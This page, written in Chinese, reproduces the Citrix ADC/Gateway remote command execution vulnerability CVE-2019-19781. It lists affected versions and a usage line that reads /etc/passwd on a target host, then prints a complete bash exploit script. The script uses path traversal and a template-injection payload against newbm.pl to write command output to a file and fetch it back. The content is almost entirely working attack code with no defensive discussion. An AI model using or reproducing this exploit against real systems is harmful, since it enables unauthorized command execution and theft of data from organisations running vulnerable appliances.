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（CVE-2019-19781）Citrix 远程命令执行漏洞

一、漏洞简介

二、漏洞影响

13.x,12.1,12.0,11.1,10.5

三、复现过程

bash CVE-2019-19781.sh www.0-sec.org 'cat /etc/passwd'

1.png

CVE-2019-19781.sh
#!/bin/bash
# Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781
# Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'uname -a'
# Release Date : 11/01/2020
# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia
echo "=================================================================================
 ___             _           _     ____                 ___           _  _
| _ \ _ _  ___  (_) ___  __ | |_  |_  / ___  _ _  ___  |_ _| _ _   __| |(_) __ _
|  _/| '_|/ _ \ | |/ -_)/ _||  _|  / / / -_)| '_|/ _ \  | | | ' \ / _' || |/ _' |
|_|  |_|  \___/_/ |\___|\__| \__| /___|\___||_|  \___/ |___||_||_|\__,_||_|\__,_|
              |__/                                                 CVE-2019-19781
================================================================================="
##############################
if [ -z "$1" ];
then
echo -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\n'
exit;
fi
export LC_CTYPE=C
filenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);
curl -s -k "https://$1/vpn/../vpns/portal/scripts/newbm.pl" -d "url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb" -H "NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is
echo -ne "\n" ;curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -s -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is
echo -ne "Command Output :\n"
curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is
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